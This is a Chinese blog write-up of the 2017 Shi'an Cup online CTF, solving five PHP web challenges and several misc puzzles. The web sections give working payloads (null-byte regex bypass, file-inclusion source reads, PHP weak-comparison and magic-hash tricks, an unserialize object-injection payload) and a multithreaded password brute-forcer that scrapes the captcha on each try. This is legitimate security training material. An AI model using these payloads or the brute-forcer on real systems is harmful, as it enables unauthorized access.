世安杯线上部分WriteUp

2017/10/08 Write_Up

“世安杯”线上WP

Web1

1

嘛,有源文件,那就看看嘛。

<?php
$flag = '*********';

if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
        echo '<p class="alert">You password must be alphanumeric</p>';
    else if (strpos ($_GET['password'], '--') !== FALSE)
        die($flag);
    else
        echo '<p class="alert">Invalid password</p>';
}
?>

<section class="login">
        <div class="title">
                <a href="./index.phps">View Source</a>
        </div>

        <form method="POST">
                <input type="text" required name="password" placeholder="Password" /><br/>
                <input type="submit"/>
        </form>
</section>
</body>
</html>

源文件如上,可以看到传递一个password变量,满足正则,必须是数字和字母,然后变量里还得有--。正常情况下,只有数字和字母还得有--。Emmm….截断试试,所以

payload: password=1a%00--

拿到flag。

Web2

嘛,这次打开就是一个文件包含。仔细看看url。发现时base64编码。

解码后确实如此,是一个key.txt的文件。完全不知道是什么,暂时不管。看是否能包含别的东西。比如自己,将index.php编码后传入。

发现了这样的代码,开始我还以为是空的文件,后来看有个line参数没用上,然后给它赋值1,果然。

同理,可以得到源码。

关键行:

if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){ 
	$file_list[2]='thisis_flag.php'; 
	} 

所以我们得给个名为keycookie,值为li_lr_480。然后再包含thisis_flag.php即可。

如图,拿到flag

Web3

这道题直接给了源码,代码审计一下。发现是探究php弱类型的问题。

<?php 
show_source(__FILE__); 
$a=0; 
$b=0; 
$c=0; 
$d=0; 
if (isset($_GET['x1'])) 
{ 
        $x1 = $_GET['x1']; 
        $x1=="1"?die("ha?"):NULL; 
        switch ($x1) 
        { 
        case 0: 
        case 1: 
                $a=1; 
                break; 
        } 
} 
$x2=(array)json_decode(@$_GET['x2']); 
if(is_array($x2)){ 
    is_numeric(@$x2["x21"])?die("ha?"):NULL; 
    if(@$x2["x21"]){ 
        ($x2["x21"]>2017)?$b=1:NULL; 
    } 
    if(is_array(@$x2["x22"])){ 
        if(count($x2["x22"])!==2 OR !is_array($x2["x22"][0])) die("ha?"); 
        $p = array_search("XIPU", $x2["x22"]); 
        $p===false?die("ha?"):NULL; 
        foreach($x2["x22"] as $key=>$val){ 
            $val==="XIPU"?die("ha?"):NULL; 
        } 
        $c=1; 
} 
} 
$x3 = $_GET['x3']; 
if ($x3 != '15562') { 
    if (strstr($x3, 'XIPU')) { 
        if (substr(md5($x3),8,16) == substr(md5('15562'),8,16)) { 
            $d=1; 
        } 
    } 
} 
if($a && $b && $c && $d){ 
    include "flag.php"; 
    echo $flag; 
} 
?> 

首先x1x2x3都要存在。x1switch语句时得符合case 1的条件。但是又不能为1。用1a绕过。

x2得是数组,键值x21不仅不能是数字,还得和数字2017比较,比2017大。那么2018a可以绕过。

键值x22得是数组,且只有2个。第一个还得是数组。x22中得存在XIPU,然后如果x22中的值有XIPU会die()。"x22":[["XIPU"],0]可以绕过。

所以最终x2={"x21":"20189a","x22":[["XIPU"],0]}

x3不能为15562,得包含XIPU,但是x3得md5的第九位到十七位必须和15562md5(8,16)相等。然后发现15562的md5(8,10)0e,php中会认为这是科学计数法,所有的0e都相等,不论后面等不等。所以我们写个脚本,可以得到相应的x3

import hashlib
for i in xrange(1000000):
    s = 'XIPU' + str(i)
    mymd5 = hashlib.md5()
    mymd5.update(s)
    mymd5 = mymd5.hexdigest()
    flag = 1
    if mymd5[8:10] == '0e':
        for j in mymd5[10:24]:
            if j.isalpha():
                flag = 0
                break
        if flag == 1:
            print s
            break

所以x3=XIPU313592

拼接起来的URL是

http://ctf1.shiyanbar.com/shian-leixing/index.php?x1=1a&x2={"x21":%2220189a%22,%22x22%22:[[%22XIPU%22],0]}&x3=XIPU313592

得到flag——CTF{Php_1s_bstl4_1a}

Web4

打开是这样的,尝试SQL注入登陆。构造用户名admin'#--。提示真的只有一个admin,不是很懂。尝试admin'adminsadqweq,同样的提示。好吧,说明不是注入的问题。要么没注入,要么注入失败。

然后在注释里发现了一个听说密码是一个五位数字。事情已经清晰,这是一个没意思的爆破。那就burp 抓包爆破,发现验证码会自动更换,那就写脚本,每次先请求URL,抓取验证码再爆破,最后得到00325是密码。flag如下

# coding:utf8
import requests
import threading
import time

url = 'http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password='


class MyThread(threading.Thread):

    def __init__(self, arg):
        super(MyThread, self).__init__()  # 注意:一定要显式的调用父类的初始化函数。
        self.arg = arg
        print arg

    def run(self):  # 定义每个线程要运行的函数
        time.sleep(1)
        re = requests.get(url=url)
        randcode = re.content.split('ext"><br><br>')[1]
        randcode = randcode[:3]
        cookie = {'PHPSESSID': re.cookies['PHPSESSID']}
        url1 = url + str(self.arg) + '&randcode=' + randcode
        # print x
        res = requests.get(
            url=url1, cookies=cookie)
        if 'flag' in res.content:
            print res.content
            return 1
        else:
            return 0


for i in xrange(99999):
    t = MyThread(i)
    flag = t.start()
    time.sleep(0.1)
    if flag == 1:
        print 'success'
        break

脚本如上,刚开始使用多线程,用的超级不好。。。虽然会有各种错误,不过还好比单线程跑得快。

Web5

备注里有源代码,根据代码的要求,给userfile赋值。得到上图。然后利用php的伪协议读取源代码。得到class.php

class.php:
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?&pass=

index.php:
<?php
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
if(isset($user)&&(file_get_contents($user,'r')==="the user is
admin")){
    echo "hello
admin!<br>";
    if(preg_match("/f1a9/",$file)){
       exit();
    }else{
       include($file); //class.php
       $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin !
";
}
?>

根据读出来的class.php还有index.php可以看到flag在f1a9.php里,我们需要反序列化漏洞来读取。

payload: http://ctf1.shiyanbar.com/shian-du/index.php?user=php://input&file=class.php&pass=O:4:%22Read%22:1:{s:4:%22file%22;s:10:%22./f1a9.php%22;}

获得flag。

13斑马斑马

嘛,这道题一看就是一个条形码,扔到一个神奇的网址。

https://online-barcode-reader.inliteresearch.com/

即可获得flag。ps补全都不需要啦。

15适合作为桌面图片

嘛,这道题扔到Stegsolve,某个色相藏着一个二维码,扫描即可。得到一大串十六进制。

03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000

在线十六进制转字符串后,

如图,可看到关键字,py。可知是一个pyc文件,那么二进制方式保存后用uncompyle2反编译即可。二进制保存脚本如下:

import binascii
import re

a = '03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000'

result = re.sub(r"(?<=\w)(?=(?:\w\w)+$)", " ", a)
relist = result.split(" ")
a = ''
for x in relist:
    a = binascii.a2b_hex(x)
    with open('/123.pyc', 'ab') as f:
        f.write(a)
# print binascii.a2b_hex(a)

将输出的pyc反编译后得到:

def flag():
    str = [102,
           108,
           97,
           103,
           123,
           51,
           56,
           97,
           53,
           55,
           48,
           51,
           50,
           48,
           56,
           53,
           52,
           52,
           49,
           101,
           55,
           125]
    flag = ''
    for i in str:
        flag += chr(i)

    print flag

增加运行语句,运行即可得到flag。 flag{38a57032085441e7}

17珍妮的qq号

这道题直接给了个txt,写了一个算法规则,5位数,4倍后倒序是原数。写个脚本跑一下就出来了。脚本如下:

numlist = []

result = 0


def f(x, y):
    return x * 10 + y

for x in xrange(10000, 99999):
    numlist = []
    y = x
    while 1:
        if x == 0:
            break
        numlist.append(x % 10)
        x = x / 10
    qq = ''
    qq = reduce(f, numlist)
    print 'qq=' + str(qq) + 'x=' + str(y)
    if qq == y * 4:
        print qq
        break

转载请注明:碎雪的小屋 » 世安杯线上部分WriteUp

Show Disqus Comments

Search

    Table of Contents